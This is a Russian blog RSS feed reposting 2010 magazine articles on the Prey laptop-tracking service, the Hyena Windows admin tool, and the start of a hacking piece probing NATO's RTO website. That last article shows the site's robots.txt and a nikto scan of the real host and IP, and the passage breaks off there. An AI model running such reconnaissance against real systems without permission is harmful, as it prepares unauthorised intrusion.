<p style="text-align:justify;">Установить такую программу может каждый. Одним из наиболее прогрессивных проектов в этой области является сервис <a href="http://www.preyproject.com/" target="_blank">Prey</a>, представляющий собой веб-интерфейс для управления устройствами и программу, которая непосредственно устанавливается на каждый ноутбук, за которым необходимо наблюдение. Причем версия этой утилиты есть для Windows, MacOS, Linux и даже Android, поэтомуее без проблем можно установить на любой платформе. Важный этап – создание бесплатной учетной записи. Это необходимо для работы системы. Выполнив несколько простых шагов, пользователь получает доступ к своей панели управления. Самый главный раздел – это &laquo;Devices&raquo;: здесь определяются ноутбуки, которые необходимо отслеживать. Сервер назначает каждому из них специальный идентификатор (Device Key), который необходимо ввести в параметрах программы. На этом непосредственно настройка заканчивается. Но что дальше?</p>
<p style="text-align:justify;">Большую часть времени Prey работает незаметно. Программа иногда просыпается в системе и обращается на специальный сайт с вопросом: &laquo;Что мне делать?&raquo;. Если никаких указаний от сервера не поступает, программа засыпает до следующего обращения к серверу. Интересна ситуация, если ноутбук украден. В этом случае владелец должен зайти на сайт, выполнить вход в свою панель управления и в настройках нужного ноутбука активировать галочку &laquo;Ноутбук украден&raquo;. Все, как только Prey в следующий раз обратится к серверу и получит команду &laquo;Фас&raquo;, она тут же начнет слать на него такие желанные отчеты. Эту информацию можно сразу же передавать милиции, а самому заниматься спасением данных (читай врезку). Интересно, что если сетевого подключения в какой-то момент не будет, Prey сама попытается подключиться к ближайшей точке доступа Wi-Fi.</p>
<blockquote style="text-align:justify;">
<h3>Возвращаем файлы с украденного ноутбука</h3>
<p>Различные решения для удаленного доступа к файлам и рабочему столу могут сослужить неплохую службу, если ноутбук был украден. Если на лэптопе была установлена бесплатная программа<a href="http://www.teamviewer.com/ru" target="_blank">TeamViewer</a>, то пользователь в любой момент может скопировать свои файлы с компьютера, а также получить картинку с удаленного рабочего стола. Система идеально подходит потому, что для подключения не нужно знать текущий IP-адрес ноутбука. Все, что нужно для подключения, – это ввести логин и пароль, которые пользователь сам когда-то установил. Главное опять же, чтобы ноутбук подключили к глобальной сети.</p></blockquote>
<h2 style="text-align:justify;">Премудрости поиска</h2>
<p style="text-align:justify;">У программы есть два режима работы: &laquo;Prey + Control Pane&raquo; и &laquo;Prey Standalone&raquo;. В первом случае отчеты и управление программой будут передаваться на сервер проекта, а пользователь через удобную контрольную панель сможет с ними работать. Режим &laquo;Prey Standalone&raquo; означает, что программа будет работать без сервера, а все данные отправляются на указанный e-mail. Первый вариант более удобный, второй более конспиративный – необходимо выбрать, что больше подходит. Для каждого девайса – особые параметры отчетов. Рекомендую включить сбор всех возможных данных: скриншот экрана, изображение с веб-камеры, информацию о сетевых подключениях и т.д. Опция &laquo;Geo&raquo; позволяет, как мы уже упоминали, и вовсе передать координаты. Если встроенного GPS-приемника нет, что более чем вероятно, Prey попытается пробить ESSID ближайших точек доступа по общеизвестным базам. Помимо этого, на ноутбук можно отправить сообщение или даже поменять wallpaper. Если лэптоп нужен кровь из носа, то нового владельца можно попытаться уговорить: &laquo;Пожалуйста, верните ноутбук за вознаграждение, безопасность гарантирую&raquo;. Но делать это нужно с особой осторожностью.</p>
<p style="text-align:justify;">Напоследок самое приятное: если в настройках не более трех девайсов, то использовать сервис можно совершенно бесплатно.</p>
<blockquote style="text-align:justify;">
<h3>Как уберечь данные от лишних глаз</h3>
<p style="text-align:justify;">Чтобы быть уверенным, что после пропажи ноутбука у конкурентов вдруг не всплывут готовые отчеты компании или другие конфиденциальные данные, необходимо хранить их в зашифрованном виде. Самый лучший способ – создать надежный криптоконтейнер с паролем. На деле это обычный файл, внутри которого находятся данные. Если знать пароль, то содержимое криптоконтейнера появляется в системе в виде дополнительного логического диска. При этом с файлами пользователь работает, как и обычно, даже не подозревая, что они надежно защищены. Сложная система шифрования крайне проста в эксплуатации. Для этого достаточно установить бесплатную программу <a href="http://www.truecrypt.org/" target="_blank">TrueCrypt</a>, подключить русификатор и следовать указаниям специального мастера-установщика.</p>
</blockquote>
<br />Filed under: <a href='http://arthurbabark.wordpress.com/category/pc-zone/'>PC ZONE</a>  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/arthurbabark.wordpress.com/226/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/arthurbabark.wordpress.com/226/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/arthurbabark.wordpress.com/226/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/arthurbabark.wordpress.com/226/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/arthurbabark.wordpress.com/226/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/arthurbabark.wordpress.com/226/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/arthurbabark.wordpress.com/226/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/arthurbabark.wordpress.com/226/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/arthurbabark.wordpress.com/226/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/arthurbabark.wordpress.com/226/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/arthurbabark.wordpress.com/226/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/arthurbabark.wordpress.com/226/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/arthurbabark.wordpress.com/226/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/arthurbabark.wordpress.com/226/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=arthurbabark.wordpress.com&amp;blog=5119110&amp;post=226&amp;subd=arthurbabark&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://arthurbabark.wordpress.com/2010/09/16/%d0%ba%d0%b0%d0%ba-%d0%bd%d0%b0%d0%b9%d1%82%d0%b8-%d1%83%d0%ba%d1%80%d0%b0%d0%b4%d0%b5%d0%bd%d0%bd%d1%8b%d0%b9-%d0%bd%d0%be%d1%83%d1%82%d0%b1%d1%83%d0%ba/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/4d5f0956c7f4132011a56321959fd142?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">webmaster</media:title>
		</media:content>
	</item>
		<item>
		<title>Сделай ставку на хищника: эффективное администрирование с помощью Hyena 8.0</title>
		<link>http://arthurbabark.wordpress.com/2010/09/16/%d1%81%d0%b4%d0%b5%d0%bb%d0%b0%d0%b9-%d1%81%d1%82%d0%b0%d0%b2%d0%ba%d1%83-%d0%bd%d0%b0-%d1%85%d0%b8%d1%89%d0%bd%d0%b8%d0%ba%d0%b0-%d1%8d%d1%84%d1%84%d0%b5%d0%ba%d1%82%d0%b8%d0%b2%d0%bd%d0%be%d0%b5/</link>
		<comments>http://arthurbabark.wordpress.com/2010/09/16/%d1%81%d0%b4%d0%b5%d0%bb%d0%b0%d0%b9-%d1%81%d1%82%d0%b0%d0%b2%d0%ba%d1%83-%d0%bd%d0%b0-%d1%85%d0%b8%d1%89%d0%bd%d0%b8%d0%ba%d0%b0-%d1%8d%d1%84%d1%84%d0%b5%d0%ba%d1%82%d0%b8%d0%b2%d0%bd%d0%be%d0%b5/#comments</comments>
		<pubDate>Thu, 16 Sep 2010 10:04:07 +0000</pubDate>
		<dc:creator>webmaster</dc:creator>
				<category><![CDATA[PC ZONE]]></category>

		<guid isPermaLink="false">http://arthurbabark.wordpress.com/?p=224</guid>
		<description><![CDATA[Централизованное управление настройками систем снимает с админа множество проблем, а главное – упрощает сам процесс, ведь все операции производятся из одного места. Готовых решений, в том числе предлагаемых Microsoft, сегодня более чем достаточно, каждое имеет свою фишку, которая выделяет продукт среди прочих и привлекает сторонников. Но Hyena занимает в этом ряду особое место. Возможности Hyena [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=arthurbabark.wordpress.com&amp;blog=5119110&amp;post=224&amp;subd=arthurbabark&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p style="text-align:justify;">Централизованное управление настройками систем снимает с админа множество проблем, а главное – упрощает сам процесс, ведь все операции производятся из одного места. Готовых решений, в том числе предлагаемых Microsoft, сегодня более чем достаточно, каждое имеет свою фишку, которая выделяет продукт среди прочих и привлекает сторонников. Но Hyena занимает в этом ряду особое место.</p>
<h2 style="text-align:justify;">Возможности Hyena</h2>
<p style="text-align:justify;">Начинающие сисадмины считают, что настраивать компы в локалке проще при помощи удаленного рабочего стола. В Windows уже встроена такая функция, кроме того, есть множество программ от сторонних разработчиков: Radmin, pcAnywhere, Netop, UltraVNC и так далее. Отчасти это так. Но если систем много, для того, чтобы изменить хотя бы одну настройку, придется подключаться к рабочему столу каждого компьютера, шустрить мышкой, проверять установки. Более опытные админы используют средства &laquo;массового&raquo; управления, такие как WinRM, <a href="http://www.xakep.ru/post/50777/default.asp">PowerShell</a> и SCCM. Популярны и групповые политики (GPO), позволяющие одним щелчком мышки выполнить нужную установку на всех системах. Хотя GPO не очень наглядны, и в сетях большого размера с несколькими доменами весьма непросто отслеживать все настройки и быть уверенным, что тот или иной компьютер находится в требуемом состоянии.</p>
<p style="text-align:justify;">Программа централизованного управления подчиненными системами Hyena по своим возможностям находится где-то посередине между всеми этими инструментами, позволяя отдавать команды, а при необходимости и подключаться к рабочему столу удаленной системы. Разработчики из <a href="http://systemtools.com/" target="_blank">SystemTools Software Inc.</a> поставили своей целью создать простой в использовании и понятный продукт, который позволял бы управлять компьютерами в сети любого размера и не требовал от админа каких-либо особых знаний или обучения. И, судя по тому, что Hyena пользуется популярностью у десятков тысяч администраторов по всему миру, им это удалось.<span id="more-224"></span></p>
<p style="text-align:justify;">Для выполнения любых операций приложение использует пользовательский интерфейс в стиле виндового Проводника с удобным всплывающим контекстным меню и горячими клавишами. Hyena сочетает в себе функции стандартных средств администрирования WinNT: User Manager, Server Manager и File Manager/Explorer, а также и большую часть возможностей, заложенных в консоли управления MMC. Но теперь не придется лазать по разным меню, все это доступно в одном окне. Конечно же, реализованы все стандартные операции по управлению учетными записями пользователей и групп (локальными и домена), правами, компьютерами, устройствами, печатью. По сравнению с MMC все действия более наглядны, кроме того легко переключиться сразу на другую систему, например, для сравнения результата. Выбрав в списке любой компьютер, можно просмотреть список процессов, открытых файлов, сетевых соединений и многое другое. При наличии домена Hyena тесно интегрируется в его структуру, позволяя управлять основными настройками. Параметры и отчеты при необходимости экспортируются в файлы MS Access и Excel. Кроме стандартной версии предлагается еще и Enterprise-вариант, в котором добавлены возможности управления сервером терминалов и сессиями пользователей (в стандартной версии она тоже есть, но работает только 30 дней), почтовыми ящиками Exchange Server 5.5/2000/2003, плюс реализована интеграция с инструментарием WMI.</p>
<p style="text-align:justify;">Hyena может быть использована для управления компьютерами, работающими с любой версией Windows на ядре NT от 2000 и выше. В восьмом релизе добавлена поддержка Win7 и Win2k8R2. Также именно с этого релиза появилась поддержка x64-платформ, объектов политик паролей (PSO, Password Settings Objects), которые <a href="http://www.xakep.ru/magazine/xa/119/128/1.asp">стали доступны в Win2k8</a> и позволяют устанавливать несколько политик паролей в домене.</p>
<p style="text-align:justify;">До версии 8.х для удаленных соединений по RDP и VNC приходилось использовать еще и сторонние продукты, что было весьма неудобно. Теперь в этом уже нет необходимости, так как одно из главных нововведений в восьмерке – возможность подключения к удаленному компьютеру по этим протоколам. Чтобы такая функция была доступна, во время установки следует отметить дополнительный компонент Remote Control Manager (STRCM, его можно <a href="http://systemtools.com/strcm" target="_blank">скачать отдельно</a>, распространяется как freeware).</p>
<p style="text-align:justify;">Нельзя оставить без внимания еще один немаловажный момент: лицензирование Hyena производится в зависимости от количества администраторов, которые будут активно использовать продукт. Количество рабочих станций и серверов, управляемых с его помощью, на стоимость лицензии не влияет. На сайте доступна полнофункциональная демка, которая будет работать в течение 30 дней. В этот период предлагается и бесплатная поддержка продукта.</p>
<p style="text-align:justify;">Установка стандартна, несколько раз нажимаем Next – и все. Вообще, возможны два варианта использования Hyena. Обычно прогу ставят на рабочем месте админа, откуда он управляет всеми настройками систем, входящих в один или несколько доменов. Но возможен вариант установки Hyena в качестве сервиса на сервере. К нему уже нужно будет подключаться при помощи одной из программ удаленного доступа и далее управлять как самим локальным сервером, на котором установлена Hyena, так и остальными системами сети. Учитывая, что сервер обычно включен в режиме 24/7, соответственно, Hyena тоже всегда будет доступна.</p>
<p style="text-align:justify;">Теперь познакомимся с некоторыми особенностями программы.</p>
<h2 style="text-align:justify;">Первоначальные настройки</h2>
<p style="text-align:justify;">При первом запуске программа собирает все данные о локальной системе и подключается к домену, в который входит компьютер, откуда автоматом импортируется информация обо всех объектах (учетные данные, группы и пользователи, сервисы, устройства и так далее). Возможно, некоторое время придется подождать, по окончании все найденные объекты будут выведены в окне программы в виде дерева. Если доменная структура не используется, остальные системы можно найти, зайдя во вкладку Enterprise и выбрав один из подпунктов – сеть Windows Network (SMB) или службы терминалов Windows.</p>
<p style="text-align:justify;">В том случае, когда в локальной сети работает несколько доменов, настройками которых нужно управлять, остальные следует добавить в список Hyena вручную. Это можно сделать через File – Add Domain; в появившемся окне вводим название домена. Автоматический поиск, активируемый через Find All Domain, упрощает работу – все найденные домены затем будут автоматически добавлены в список. Для уточнения настроек обычно сразу вызывается конфигуратор объектов Object Manager Configuration, в котором при необходимости редактируем объекты. Добавить домен в список можно, вызвав конфигуратор напрямую: File – Manage Object View, заполняем все поля внизу вкладки Objects, нажимаем Add и выбираем в списке Windows Domain. При помощи этого же меню подключаем и многие другие объекты, которые не были найдены программой автоматически: компьютеры, OU, группы, принтеры, URL, ветки реестра и т.д.</p>
<h2 style="text-align:justify;">Основное конфигурирование</h2>
<p style="text-align:justify;">При щелчке на любом объекте отображаются все доступные свойства и параметры, которые можно просмотреть и изменить. Для сортировки элементов в таблицах просто щелкаем по заголовку. Например, выбрав группу или пользователей, мы можем выполнять практически любые административные операции: создавать, удалять, копировать в локальную и удаленную систему, просматривать и редактировать свойства учетных записей и групп (локальной системы и домена). Работа упрощается тем, что во всех настройках помогает визард, в окне которого надо лишь заполнить несколько параметров. Кроме того, выбранному пользователю можно отправить сообщение, сбросить пароль, отключить или разблокировать учетную запись. Практически все подобные действия можно произвести и в отношении групп. Отдельные пункты меню позволяют отслеживать активность пользователей (доступна информация о регистрации и подключениях), поэтому мы всегда можем узнать, кто когда пришел на работу и где лазил в локалке.</p>
<p style="text-align:justify;">Найденные прогой принтеры (как локальные, так и сетевые) отображаются в меню Printers. Выбрав нужный из списка, мы можем получить все сведения о заданиях, доступности, подключиться к нему, изменить свойства и приостановить/продолжить отдельное или все задания.</p>
<p style="text-align:justify;">Следующие интересные возможности: полноценное управление локальными и сетевыми каталогами и файлами. Открыв нужный ресурс, мы можем увидеть содержимое, отредактировать параметры доступа (сетевого и NTFS), просмотреть текущие подключения и сбросить любое при необходимости.</p>
<p style="text-align:justify;">Админу периодически нужно контролировать наличие свободного места на харде. В Hyena это выполнить проще простого. Для разделов жесткого диска выбранного компа выводится информация о типе файловой системы, свободное/занятое место и так далее. При использовании распределенной файловой системы DFS (Distributed File System) в одноименной вкладке мы увидим все доступные ресурсы и сможем к ним быстро подключиться.</p>
<p style="text-align:justify;">Управление сервисами – просмотр списка (с детальным описанием), вывод зависимостей, запуск/перезапуск, остановка, изменение режима запуска – это еще одна полезная возможность Hyena. Службы, отмеченные зеленым значком, выполняются, красным – остановлены. Причем программа позволяет одновременно управлять сервисами на нескольких компьютерах. Аналогично сервисам отображаются и все устройства, драйвера и обновления, установленные на выбранной системе.</p>
<p style="text-align:justify;">Администратор контролирует работу сервисов на основе собранных журналов событий. Для их просмотра переходим во вкладку Events. Для удобства отбора в Hyena реализован фильтр событий Filter Events по типу, дате, времени, учетным данным и т.д. Из контекстного меню вызывается стандартный обозреватель событий Windows, тут же можно сохранить резервную копию журнала или очистить список событий.</p>
<p style="text-align:justify;">Хотя Hyena предлагает еще один вариант: быстро выбрать определенные события и данные при помощи двух пунктов контекстного меню – Account Policy и Audit Policy. Вызываем нужный и в появившемся окне указываем критерии аудита: срок действия пароля, длина пароля, заблокированные учетные записи, доступ к сессиям и многое другое. По умолчанию отслеживаются не все события, поэтому идем в Audit Properties и флажками активируем нужные.</p>
<p style="text-align:justify;">Также просто получить доступ к записям реестра локальной и удаленной системы, просматривать содержимое, добавлять и удалять записи, редактировать настройки, копировать и сохранить ветку реестра в файл.</p>
<p style="text-align:justify;">В Hyena используется собственная система мониторинга ресурсов компьютера, позволяющая собрать данные о производительности системы. Во вкладке Perfomance находим семь подпунктов, которые расскажут все о работе процессов, запущенных в системе, сети, CPU, памяти, дисков и сервера в целом. Можно самостоятельно создавать собственные запросы и редактировать текущие настройки.</p>
<p style="text-align:justify;">Для тех, кто разобрался с WMI, вероятно, будет полезна возможность выполнить определенный запрос или метод. Здесь предложено два способа, ты можешь выбрать более удобный: либо воспользоваться контекстным меню WMI – Execute Query и в окне заполнить WMI Query Template Properties, либо сразу выбрать нужный класс в меню WMI раскрытого дерева параметров конкретной системы. Результат выполнения запроса выводится в панели справа. Кстати, при помощи WMI из контекстного меню можно запустить любой процесс на выбранной системе (WMI – Create Proccess).</p>
<p style="text-align:justify;">Все данные, собранные программой (системы, учетные записи, группы, сервисы и т.д.), легко экспортируются в текстовый файл или отправляются на принтер. При наличии MS Access становится доступной функция создания отчетов с практически неограниченными возможностями. Для этого переходим в Settings – Reporting, указываем путь к исполняемому файлу Access (либо Excel) и запускаем мастер создания отчетов: Tools – Generate Report.</p>
<h2 style="text-align:justify;">Настройка STRCM</h2>
<p style="text-align:justify;">Как уже упоминалось выше, Hyena может быть использована для организации подключения к удаленной системе. RDP-соединение выполняется при помощи штатной утилиты mstsc.exe, вызываемой с необходимыми параметрами. Чтобы использовать VNC, задействуется Remote Control Manager (STRCM), и теоретически здесь можно указать любой VNC-клиент. К слову, STRCM распространяется свободно, а код доступен по лицензии GNU GPL.</p>
<p style="text-align:justify;">Собственно процесс подключения прост: выбираем систему и пункт Remote Control в контекстном меню. Настройки каждого подключения хранятся в отдельном RCM-файле, все они находятся в каталоге, где установлена Hyena. По сути, это текстовые ini-файлы, которые можно редактировать напрямую при помощи Блокнота. После установки таких файлов пять: два из них – rd.rcm и rd_admin.rcm – отвечают за RDP-соединения, а vnc*.rcm представляют собой шаблоны для VNC.</p>
<p style="text-align:justify;">Этот список доступен и в меню Tools – Settings – Remote dialog, где, выбрав нужную конфигурацию и нажав кнопку Edit, также можно приступить к настройкам. Файл имеет простую структуру:</p>
<p style="text-align:justify;"><code># Описывается подключение<br />
[General]<br />
# Тип подключения: RDP или VNC<br />
SoftwareType=VNC<br />
# Выводить в меню<br />
Enabled=1<br />
# Название<br />
MenuName=TightVNC<br />
# Автозапуск<br />
AutoExecute=0</p>
<p># Список команд и параметров<br />
[View]<br />
# Команда для подключения<br />
ViewerCommand=vncviewer.exe %computer%<br />
# Для RDP<br />
# ViewerCommand=mstsc.exe</code></p>
<p style="text-align:justify;">Файл может содержать специфические установки (размер экрана, количество цветов, порт подключения и т.п.) для каждой утилиты.</p>
<p style="text-align:justify;">Удобно, что RCM-файл после редактирования можно просто скопировать на другие системы и не возиться с настройками на каждой из них. Но Hyena поддерживает и сетевые ресурсы, на которых размещаются такие файлы. Их следует указать в настройках при помощи &laquo;.RCM file configuration directory path&raquo;, после чего требуется перезапуск Hyena.</p>
<h2 style="text-align:justify;">Добавление собственных утилит</h2>
<p style="text-align:justify;">При знакомстве с возможностями Hyena бросается в глаза пустой пункт Custom Tools. Разработчики не стали ограничивать админа стандартными решениями и оставили возможность добавить любой инструмент, который можно быстро вызвать из контекстного меню или при помощи комбинации Ctrl-F[1-9]. Настройки утилит производятся в панели Tools – Settings – Tools, вся введенная информация сохраняется в файле tool_cmds.dat, который также можно переносить между компьютерами, чтобы не повторять настройки. Для удобства использования инструменты можно разделить на группы (субменю), которые создаются при помощи New – Submenu. При добавлении инструмента указываем его название и вводим команду, которая будет выполнена при щелчке на пункте. В командной строке поддерживается ряд специальных символов:</p>
<p style="text-align:justify;">%S% – имя текущего сервера, с которого выполняется запрос. Некоторые команды требуют наличия обратного двойного слэша &laquo;\\&raquo;, в таком случае в команду запуска его следует добавить самостоятельно;<br />
%E% – подстановка текста из активного окна, которое появится при выборе объекта;<br />
%G% – группа, в которую входит пользователь, выполнивший запрос;<br />
%HOSTNAME% – возвращает NETBIOS или DNS-имя компьютера (необходимо установить флажок Tools – Settings – Active Directory – Use DNS computer paths);<br />
%Px% – параметры пользователя, их всего три: %P1% – первый, %P2% – второй, %P3% – третий;<br />
%Px:prompt% – параметр пользователя, вводимый по запросу;<br />
%Px:prompt/PWD% – то же, только с вводом пароля.</p>
<h2 style="text-align:justify;">Заключение</h2>
<p style="text-align:justify;">Как видишь, возможностей у Hyena очень много, и они покрывают все потребности среднестатистического админа. Это понятный и хорошо продуманный инструмент, позволяющий централизованно и без лишних усилий управлять системами в локальной сети.</p>
<br />Filed under: <a href='http://arthurbabark.wordpress.com/category/pc-zone/'>PC ZONE</a>  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/arthurbabark.wordpress.com/224/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/arthurbabark.wordpress.com/224/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/arthurbabark.wordpress.com/224/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/arthurbabark.wordpress.com/224/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/arthurbabark.wordpress.com/224/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/arthurbabark.wordpress.com/224/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/arthurbabark.wordpress.com/224/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/arthurbabark.wordpress.com/224/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/arthurbabark.wordpress.com/224/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/arthurbabark.wordpress.com/224/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/arthurbabark.wordpress.com/224/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/arthurbabark.wordpress.com/224/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/arthurbabark.wordpress.com/224/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/arthurbabark.wordpress.com/224/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=arthurbabark.wordpress.com&amp;blog=5119110&amp;post=224&amp;subd=arthurbabark&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://arthurbabark.wordpress.com/2010/09/16/%d1%81%d0%b4%d0%b5%d0%bb%d0%b0%d0%b9-%d1%81%d1%82%d0%b0%d0%b2%d0%ba%d1%83-%d0%bd%d0%b0-%d1%85%d0%b8%d1%89%d0%bd%d0%b8%d0%ba%d0%b0-%d1%8d%d1%84%d1%84%d0%b5%d0%ba%d1%82%d0%b8%d0%b2%d0%bd%d0%be%d0%b5/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/4d5f0956c7f4132011a56321959fd142?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">webmaster</media:title>
		</media:content>
	</item>
		<item>
		<title>Небезопасность НАТО: как НАТО борется с хакерами</title>
		<link>http://arthurbabark.wordpress.com/2010/09/16/%d0%bd%d0%b5%d0%b1%d0%b5%d0%b7%d0%be%d0%bf%d0%b0%d1%81%d0%bd%d0%be%d1%81%d1%82%d1%8c-%d0%bd%d0%b0%d1%82%d0%be-%d0%ba%d0%b0%d0%ba-%d0%bd%d0%b0%d1%82%d0%be-%d0%b1%d0%be%d1%80%d0%b5%d1%82%d1%81%d1%8f/</link>
		<comments>http://arthurbabark.wordpress.com/2010/09/16/%d0%bd%d0%b5%d0%b1%d0%b5%d0%b7%d0%be%d0%bf%d0%b0%d1%81%d0%bd%d0%be%d1%81%d1%82%d1%8c-%d0%bd%d0%b0%d1%82%d0%be-%d0%ba%d0%b0%d0%ba-%d0%bd%d0%b0%d1%82%d0%be-%d0%b1%d0%be%d1%80%d0%b5%d1%82%d1%81%d1%8f/#comments</comments>
		<pubDate>Thu, 16 Sep 2010 10:02:27 +0000</pubDate>
		<dc:creator>webmaster</dc:creator>
				<category><![CDATA[ВЗЛОМ]]></category>

		<guid isPermaLink="false">http://arthurbabark.wordpress.com/?p=222</guid>
		<description><![CDATA[Решительное НАТО Как известно, Организация Североатлантического договора, известная также под аббревиатурой НАТО, является военно-политическим блоком, созданным давным-давно для противодействия возможным военным действиям, направленным против стран Европы и Америки. Россия (тогда еще Советский Союз) в этот блок не вошла, потому что изначально предполагалось, что и она тоже может эти самые агрессивные военные действия осуществлять. В структуре [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=arthurbabark.wordpress.com&amp;blog=5119110&amp;post=222&amp;subd=arthurbabark&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<h2 style="text-align:justify;">Решительное НАТО</h2>
<p style="text-align:justify;">Как известно, Организация Североатлантического договора, известная также под аббревиатурой НАТО, является военно-политическим блоком, созданным давным-давно для противодействия возможным военным действиям, направленным против стран Европы и Америки. Россия (тогда еще Советский Союз) в этот блок не вошла, потому что изначально предполагалось, что и она тоже может эти самые агрессивные военные действия осуществлять.</p>
<p style="text-align:justify;">В структуре НАТО существуют всякого рода организации, которые отвечают за разработки в области безопасности – начиная от военной, научно-технической и заканчивая информационной. И дальше речь пойдет про информационную безопасность, а конкретнее – про научный институт Research &amp; Technology Organisation (RTO), созданный в рамках НАТО.</p>
<p style="text-align:center;"><a title="Небезопасность НАТО: как НАТО борется с хакерами" href="http://arthurbabark.wordpress.com"><img class="aligncenter" style="border:0 initial initial;" title="Небезопасность НАТО: как НАТО борется с хакерами" src="http://www.xakep.ru/post/53176/rootpage.png" border="0" alt="" width="640" height="488" /></a></p>
<p style="text-align:justify;">В нашем журнале уже писали об уязвимостях военных сайтов наших &laquo;союзников&raquo;. Как-то раз герои информационной войны крепко подметили, что у &laquo;сетецентрических воинов&raquo; безопасность есть, информация есть, а вот безопасность информации – увы, не на высоте. Ну что ж, опровергнем или подтвердим?<span id="more-222"></span></p>
<h2 style="text-align:justify;">Первый осмотр</h2>
<p style="text-align:justify;">Научно-исследовательская организация НАТО – предприятие не из маленьких. Под стать финансовому размаху и веб-сайт, который со временем из простой интернет-витрины вырос в целый портал, в дебрях которого теперь хранят даже Военную Тайну. Вот, например, для того, чтобы получить секретные доклады, участникам не менее секретных военных симпозиумов выдают логины и пароли для доступа к файловому серверу и веб-сайту RTO.NATO.INT. Все бы хорошо, вот только участники подкачали – живут они в разных странах и, в основном, за тридевять земель, а посему было велено разместить все это добро на выделенных серверах с подключением к сети Интернет. Здесь сказочке конец, а дальше – начало процесса независимого аудита применяемых решений по защите Военной Тайны подследственной организации.</p>
<p style="text-align:justify;">Посмотрим для начала на такую мелочь, как файл robots.txt:</p>
<p style="text-align:justify;"><code>User-agent: *<br />
Disallow: /images/<br />
Disallow: /img/<br />
Disallow: /homepix/<br />
Disallow: /rndimg/<br />
Disallow: /Include/<br />
Disallow: /hpix/<br />
Disallow: /Mailer/<br />
Disallow: /InfoPack/<br />
Disallow: /aspx/<br />
Disallow: /bin/<br />
Disallow: /cgi-bin/<br />
Disallow: /ContactUs.aspx<br />
Disallow: /Copyright.htm<br />
Disallow: /css/<br />
Disallow: /Detail.asp<br />
Disallow: /enrolments/<br />
Disallow: /FAQ.htm<br />
Disallow: /foad.htm<br />
Disallow: /fr/<br />
Disallow: /help.htm<br />
Disallow: /pfp.ppt<br />
...<br />
Disallow: /Prog/<br />
Disallow: /Reports.asp<br />
Disallow: /SendAbstractDetails.aspx<br />
Disallow: /tor.asp<br />
Disallow: /Taxo/<br />
Disallow: /Variables.asp<br />
Disallow: /variables.asp<br />
Disallow: /voc.htm<br />
Disallow: /vpn.html<br />
Disallow: /Webmail.asp<br />
Disallow: /yourws.asp<br />
Sitemap: http://www.rto.nato.int/sitemap.xml</code></p>
<p style="text-align:justify;">Написанный явно не в 2010 году, этот путеводитель в мир конфиденциальной информации RTO содержит в себе даже указание на конкретный файл, который можно скачать и посмотреть (pfp.ppt). Надо ли говорить о необходимости использования nikto для сканирования типовых каталогов, если они уже весьма &laquo;удачно&raquo; перечислены администратором веб-сайта? Ради спортивного интереса, мы все же запустим nikto и проверим, кто выиграл:</p>
<p style="text-align:justify;"><code> ---------------------------------------------------------------------------<br />
+ Target IP: 62.23.200.67<br />
+ Target Hostname: www.rto.nato.int<br />
+ Target Port: 80<br />
+ Start Time: 2010-05-08 14:00:15<br />
---------------------------------------------------------------------------<br />
+ Server: RTA Web Server<br />
- /robots.txt - contains 47 'disallow' entries which should be manually viewed.  (GET)<br />
- Allowed HTTP Methods: OPTIONS, TRACE, GET, HEAD<br />
+ OSVDB-877: HTTP method ('Allow' Header): 'TRACE' is typically only used for  debugging and should be disabled. This message does not mean it is vulnerable to  XST.<br />
- Public HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST<br />
+ OSVDB-877: HTTP method ('Public' Header): 'TRACE' is typically only used for  debugging and should be disabled. This message does not mean it is vulnerable to  XST.<br />
+ OSVDB-0: ETag header found on server, fields: 0x7036cddda14ca1:18b2<br />
+ OSVDB-3092: GET /sitemap.xml : This gives a nice listing of the site content.<br />
+ 3577 items checked: 49 item(s) reported on remote host<br />
+ End Time: 2010-05-08 14:49:54 (2979 seconds)<br />
